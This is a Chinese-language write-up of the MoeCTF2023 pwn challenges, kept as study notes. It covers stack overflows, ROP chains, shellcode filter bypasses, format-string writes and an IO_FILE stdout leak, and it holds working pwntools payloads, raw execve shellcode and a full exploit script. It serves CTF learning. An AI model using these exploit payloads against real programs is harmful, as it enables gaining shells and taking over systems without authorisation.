MoeCTF2023 Pwn WriteUp
前言
今年暑假比较摆烂… 最后也没做完 MoeCTF 的 pwn 题, 只能赛后抽时间复现一遍. 复现一遍之后还是复习了不少知识点, 写一篇 wp 以作笔记.
题目复现
test_nc
连接即可.
baby_calculator
emmm 打一个交互就可以了.
fd
fd 即 file descripter, 又叫文件描述符, 它是一个抽象的指示符, 用一个非负整数表示.它指向了由系统内核维护的一个 file table 中的某个条目 ( entry ), 后者又指向储存文件真实地址的 inode table.
一般来说操作系统会为每个用户进程预留三个默认的 fd: stdin
, stdout
, stderr
. 它们对应的非负整数值分别为 0
, 1
, 2
. 之后的 fd 从 3
开始分配.
反编译得到核心代码:
fd = open("./flag", 0, 0LL);
new_fd = (4 * fd) | 0x29A;
dup2(fd, new_fd); // 将 new_fd 重定向到 fd
close(fd);
puts("Which file do you want to read?");
puts("Please input its fd: ");
__isoc99_scanf("%d", &input);
read(input, flag, 0x50uLL);
puts(flag);
只需要向 flag 中读入 ./flag 的内容, 也就是输入 new_fd 即可获取 flag.
由 fd = 3
, new_fd = (4 * fd) | 0x29A = 12 | 0x29A = 670
.
int_overflow
整数溢出, 由于 32 位整型的最大值为 $2^{32}-1$, 大于最大值的数据会从 4 字节处截断, 利用这个特性可以构造输入.
ret2text_32
通过 IDA 可以看到程序明显存在栈溢出漏洞,覆盖返回地址到 b4ckdoor
中的 system
函数,IDA 中的 string 窗口也可以看到 binsh 字符串。再根据 x86 函数调用知识, 函数通过栈传递参数。
payload = b'a' * 0x5c + p32(system_addr) + p32(0x1) + p32(binsh_addr)
ret2text_64
与 x86 不同,x86-64 通过寄存器传参,前 6 个参数分别在 rdi, rsi, rdx, rcx, r8, r9 中. 通过ROPgadget可以查找 pop_rdi_ret
的地址.
payload = b'a' * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
uninitialized_key
考察对内存的理解. 当一个程序运行于用户进程中时, 系统会分配一个虚拟内存空间, 内存里每个字里的数值并不会被初始化.
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
welcome();
get_name();
get_key();
return 0;
}
在 main 函数里, 调用 get_name
前会给 rsp 减去一定值以分配栈空间, 回收时会直接给 rbp 加上对应的数值回收. 调用 get_key
时分配完栈空间后并不会初始化栈, 于是 get_name
里栈上的数值会一直保留.
注意到 get_name
里的 age 和 get_key 里的 key 都是 rbp-0xC
, 因此如果想覆盖 key
为 114514, 只需要提前将 age
覆写为 114514 即可.
uninitialized_key_plus
与上道题目略有不同, 这次 get_name
的 age 是一个长度为 24 的字符串, 字符串的起始地址为 rbp-0x20
, 而 key
仍然为 rbp-0xC
, 因此需要将前 (0x20 - 0xC) 个字节设置为 padding, 最后 4 个字节放置 114514.
注意: 不可以图省事把最后 8 个字节用 p64(114514)
处理, 这是因为根据小端序, 最终实际得到的 rbp-0xC
全为 0.
payload = 8 * b'a' + 8 * b'c' + 4 * b'b' + p32(114514)
ret2libc
没有给 libc, 但是可以通过 puts
函数得到 puts@got_addr
, 从而确定 libc 版本, 进而得到 libc_base, 然后构造 system getshell.
确定 libc 版本可以使用 LibcSearcher.
如果栈不对齐可以通过加一个 ret 滑板解决.
ret2syscall
通过 ROPgadget 查看需要的 gadget, 然后根据 x86-64 下函数调用栈规则构造 execve("/bin/sh", 0, 0)
, 注意 execve 的系统调用号是 0x3b.
payload = b'a' * (64 + 8) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(pop_rsi_rdx_ret_addr) + p64(0) + p64(0) + p64(pop_rax_ret_addr) + p64(59) + p64(syscall_addr)
PIE
题目虽然打开了 PIE 对代码段进行了地址随机化, 但是由于给出了 vuln_addr
, 可以得到 PIE_base, 进而可以确定程序运行时其他各个函数的实际地址, 再构造 system
函数调用栈即可.
由于这道题目有 call system 这种 gadget, 所以 payload 更容易构造了:
payload = b'a' * 80 + b'bbbbbbbb' + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(call_system_addr)
little_canary
这道题目打开了 canary 保护, 但是由于程序会直接打印紧挨着 canary 的 buf, 而 read buf 又存在溢出, 因此可以通过 buf 覆盖 canary 的最低一字节的 \x00
, 继而 printf
时会直接把 canary 的其余 7 字节打印出来.
得到了 canary, 这道题目的其余部分和 ret2libc 便别无二致.
注意: lead canary 时只需要 sendline(b'a' * 72)
, 字节流第 73 位就是 0xa
(即换行符).
rePWNse
简单读一下, 发现 makebinsh 函数只有在 7 个变量满足特定的条件时才可以拼接为 "/bin/sh"
, 并且会给出这个字符串的地址. 据此得到一个 7 元一次方程组, z3 求解即可.
得到了 "/bin/sh"
, 同时在函数列表里看到一个 action
函数, 已经基本构造好了 execve
的函数调用栈, 利用栈溢出传入 "/bin/sh"
后直接调用皆可.
shellcode_level0
打一个 COP. 程序没有打开 NX 保护, 也就是说栈可执行. 并且程序逻辑是读入一个 buf, 然后 call buf
, 那么直接给 buf 发送一个 shellcode 即可.
payload = asm(shellcraft.sh())
shellcode_level1
char shellcode[100]; // [rsp+30h] [rbp-F0h] BYREF
char paper2[100]; // [rsp+A0h] [rbp-80h] BYREF
memset(shellcode, 0, sizeof(shellcode));
memset(paper2, 0, sizeof(paper2));
paper3 = malloc(0x64uLL);
paper4 = mmap(0LL, 0x64uLL, 3, 34, -1, 0LL);
paper5 = mmap(0LL, 0x64uLL, 7, 34, -1, 0LL);
程序开了 NX, 那么内存空间开在栈上的 shellcode[100]
和 paper2[100]
由于没有可执行权限, 自然不能使用. 而 paper3
是 malloc
在堆上的, 也没有执行权限, 也不能使用.
目光落在了 paper4
和 paper5
上, 这两个东西的主要区别就在于前者的 mprotect
赋予了可读可写可执行, 而后者则什么都没有.
mprotect(paper4, 0x1000uLL, 7);
mprotect(paper5, 0x1000uLL, 0);
那么就先 choose 4
, 然后发个 shellcode
过去即可.
shellcode_level2
.text:000000000000123C 48 8D 45 90 lea rax, [rbp+s]
.text:0000000000001240 0F B6 00 movzx eax, byte ptr [rax]
.text:0000000000001243 84 C0 test al, al
.text:0000000000001245 74 16 jz short loc_125D
ida 打开, 简单阅读汇编代码可以得知, 如果输入的字符串 s
的最低位不为 0, 则会将整个 shellcode memset
.
据此, 往原先有的 payload 后面加个 \x00
即可.
payload = b'\x00' + asm(shellcraft.sh())
注意小段序的性质: 为了使 rax 内存低位为 0, 那么字符串 s 的内存低位就为 0, 那么 payload 的内存低位就应该为 0, 那么 payload 的数值高位就为 0. 故 \x00
在最开头.
shellcode_level3
首先 checksec 分析题目, 注意到程序关闭了 PIE 函数地址随机化, 并且 ida 反编译可以查看得存在后门函数 givemeshell
.
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("5 bytes ni neng miao sha wo?");
mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
gets(&code);
memset(&unk_40408E, 0, 0xF72uLL);
(code)();
return 0;
}
程序逻辑大概是向 .bss 段上的全局变量 code
读入一段不定长度的数据, 但是进一步分析可得知实际可以利用的长度只有 5 bytes, 这是因为程序里的 memset
会把 code+5 之后的所有内容清空, 故可以利用的大小只有 5 bytes.
不过我们的 givemeshell
函数地址固定为 0x4011D6
为 3 bytes, 所以是绰绰有余的.
需要注意的地方是, 由于 call
指令跳转时使用的是相对偏移量, 所以实际上需要填入的地址是 code_addr - givemeshell_addr
, 但是又因为 python 理论上是没有数据范围的, 也就是说 python 没有最高位这个说法, 所以我们需要手动把得到的负数转为对应的 4 字节数字, 也就是 0xffffffff & (givemeshell_addr - code_addr)
.
changeable_shellcode
checksec 分析题目, 注意到保护全开, 只能利用题目中现有的内容构造 payload.
输入的 shellcode 会被复制到 0x11451400
这个位置, 看似很简单设置 payload 为 shellcode 即可, 但是由于 filter
函数过滤了所有 shellcode 必有的 \xf
和 \x5
, 因此直接输入裸的 shellcode 会被 ban 掉.
考虑一种绕过方式是把 shellcode 中已有的 \xf
或者 \x5
两者之一修改掉, 绕过输入判断后执行 shellcode 时再改回来, 即可 get shell.
为了方便期间, 确定 shellcode 中替换掉 \x5
为 \x00
, 然后再在 shellcode 前加入 asm 修改 \x00
的位置为 \x5
. 现在的问题在于如何确定 \x5
的位置. 根据小端序的知识, shellcode 的 “数值低位” 应该在 “内存高位”, 具体位置通过动态调试两次即可确定.
payload 构造方法如下:
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x00"
payload = asm(
"""
mov al, 0x05
mov [0x114514025], al
"""
)
payload += shellcode
注意: 尽量使用 \x05
含量少且位置易于确定的 shellcode, 虽然不影响正确性, 但是可能增加调试时间.
format_level0
格式化字符串入门题目, 考点是通过格式化字符串泄漏栈上的内容.
payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p"
format_level1
先说非预期解, 根据题目设定, 只需要主人公的 HP 和攻击力都高于龙, 沉淀上 114514 次就应该能过, 不过就是脚本跑着比较慢.
预期解/考点是: 通过格式化字符串漏洞, 将龙的 HP 修改为极小值, 从而缩减过关时间.
payload 有两种构造方式: 将龙的 HP 变量的地址放在内存低地址或内存高地址.
两种构造方式都可以对, 只需要保证字节对齐以免夹断即可.
### 32 位下两种构造方式
payload = p32(dragon_hp_addr) + b'%7$n'
payload = b"aaaa%9$n" + p32(dragon_hp_addr)
format_level2
与上一道题目基本类似, 只是游戏胜利后不会调用 success
函数了, 因此需要转换思路.
首先, 考虑修改 printf@got
为 success@got
的方法, 发现这是不可能的, 因为 str
每次 read
的长度只有 16 bytes, 不可能在一个 str
里完成修改 (一次输出空格的方式由于输出量过大很难成功, 而修改两次的方式又会因为第二次 printf
时 printf@got
已被局部修改而失败), 因此这个利用思路没有可实现性;
其次, 考虑修改 ret_addr 为 success_addr 实现劫持程序控制流, 可以利用的 ret_addr 有两个, 分别是 game_ret_addr 和 main_ret_addr, 两个返回地址都可以使用.
具体来讲, 由于同一个函数调用栈中两个变量的相对偏移是固定的, 因此可以泄漏任意栈地址, 加上通过 gdb 调试得到的 offset 确定返回地址的位置. 然后将返回地址放在栈上, 使用 %hhn
修改即可, 构造方式可以参考 level1.
format_level3
考点: 不在栈上的格式化字符串
之前没做过这个考点的题目, 趁着这次机会好好学一下…. 首先要清楚不在栈上的格式化字符串题目的难点在哪里? 可以控制的字符串变量在栈上和在 .bss 段上产生了怎样的区别呢?
停下来思考.
问题主要出在使用格式化字符串 %hhn
写入数据上, 回想前两道题目的做法, 由于输入的字符串变量在栈上, 我们只需要良好的布局 payload, 即可控制栈上的数据为我们想要修改的地址, 再计算出该数据与格式化字符串的 offset, 通过 %offset$hhn
这种形式就可以修改该数据或该数据指向的数据 (如果有的话).
然而, 如果可控的字符串不在栈上, 我们无法有效的布局栈, 无法计算 offset (因为用到这个字符串的时候只是会在栈上复制一个引用)以修改返回地址或者函数的 got 表, 导致无法利用.
不过根据 %n
的特性, 如果格式化字符串指向的栈上的数据可以被再次解引用, 那么会对二次解引用的数据进行修改.
也就是说,
03:000c│ 0xffffd61c —▸ 0x804963e (talk+16)
这种栈结构可以直接把这里的 0x804963e 修改.
06:0018│ ebp 0xffffd628 —▸ 0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40
这种栈结构可以通过 %n 修改 0xffffd658
的数值, 但是无法修改它之前或之后的数据.
根据以上的特性, 我们再来看看这个栈:
00:0000│ esp 0xffffd610 —▸ 0x804c01c (str) ◂— 0xa /* '\n' */
... ↓
02:0008│ 0xffffd618 ◂— 0x10
03:000c│ 0xffffd61c —▸ 0x804963e (talk+16) ◂— add ebx, 297ah
04:0010│ 0xffffd620 —▸ 0x804a231 ◂— 0x47006425 /* '%d' */
05:0014│ 0xffffd624 —▸ 0x804bfb8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bec0 (_DYNAMIC) ◂— 0x1
06:0018│ ebp 0xffffd628 —▸ 0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— ...
07:001c│ 0xffffd62c —▸ 0x8049737 (game+121) ◂— jmp 804975ah
08:0020│ 0xffffd630 —▸ 0xf7faed00 (_IO_2_1_stderr_) ◂— 0xfbad2087
09:0024│ 0xffffd634 ◂— 0x0
0a:0028│ 0xffffd638 ◂— 0x3
0b:002c│ 0xffffd63c ◂— 0x3ac4d800
0c:0030│ 0xffffd640 ◂— 0x1
0d:0034│ 0xffffd644 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
0e:0038│ 0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
0f:003c│ 0xffffd64c —▸ 0x8049784 (main+30) ◂— mov eax, 0
那么我们只需要应用这个原理构造栈就好了:
将 offset 为 6 处对地址解二次引用的 0xffffd658
修改为 game
的 return address 0xffffd64c
, 于是 offset 为 0x0e 处的栈会变为
0e:0038│ 0xffffd648 —▸ 0xffffd64c —▸ 0x8049784 (main+30) ◂— mov eax, 0
那么再次应用这个原理, 修改 0x0e 处栈帧的数据时就可以直接控制返回地址为 success_addr.
feedback
考点: IO_FILE
先用 checksec 检查一下程序保护, 发现保护全开. 再用 ida 反编译, 发现程序存在一个比较明显的数组指针越界.
参考一下 CTF-wiki 上关于 IO_FILE 的讲解, 由于数组指针 feedback_list
在 .bss 上, 而 stdout@glibc
也在 .bss 上, 那么就可以通过数组下溢出控制到 stdout@glibc
指针, 由于 printf
输出是走 stdout
的, 所以通过控制 vtable
参数即可做到任意地址读.
这里我们读出 stdin
的地址后, 减去 libc.symbols["IO_2_1_stdin"] 即可得到 libc base.
再根据 libc base 可以求出 puts@got, 从而得到 flag 加载的地址.
exp:
from pwn import *
proc = "./feedback"
context.log_level = "debug"
context.binary = proc
parent_path = "/home/flower/CTFhub/Contests/MoeCTF2023-PWN/feedback/"
io = process([parent_path + 'ld-2.31.so',parent_path + 'feedback'], env = {'LD_PRELOAD' : parent_path + 'libc-2.31.so'})
elf = ELF(proc)
libc = ELF("libc-2.31.so")
if args.G:
gdb.attach(io)
def feedback(index: int, content: bytes) -> None:
io.recvuntil(b"write?", drop=True)
io.sendline(str(index).encode())
io.recvuntil(b"feedback.", drop=True)
io.sendline(content)
payload1 = flat([0xfbad1800, 0, 0, 0]) + b"\x00"
feedback(-8, payload1)
stdin_addr = u64(io.recvuntil(b"\x7f", drop=False)[-6:].ljust(8, b"\x00"))
log.info(f"stdin_addr ===> {hex(stdin_addr)}")
libc_addr = stdin_addr - libc.symbols["_IO_2_1_stdin_"]
log.info(f"libc_addr ===> {hex(libc_addr)}")
flag_addr = libc_addr + libc.symbols['puts'] + 0x16d2e0
payload2 = flat([0xfbad1800, 0, 0, 0, flag_addr, flag_addr + 0x50])
feedback(-8, payload2)
io.interactive()
总结
这次 Moe 复现还是补充了一些细微的知识点的, 以后打 pwn 需要注意的点有:
- linux 文件描述符
- 栈不会被初始化
call
指令跳转时使用的是相对偏移量- 注意字节序在构造 payload 时的影响
- 手写特殊的 shellcode 的能力
- 数组指针越界漏洞 (下溢或者上溢)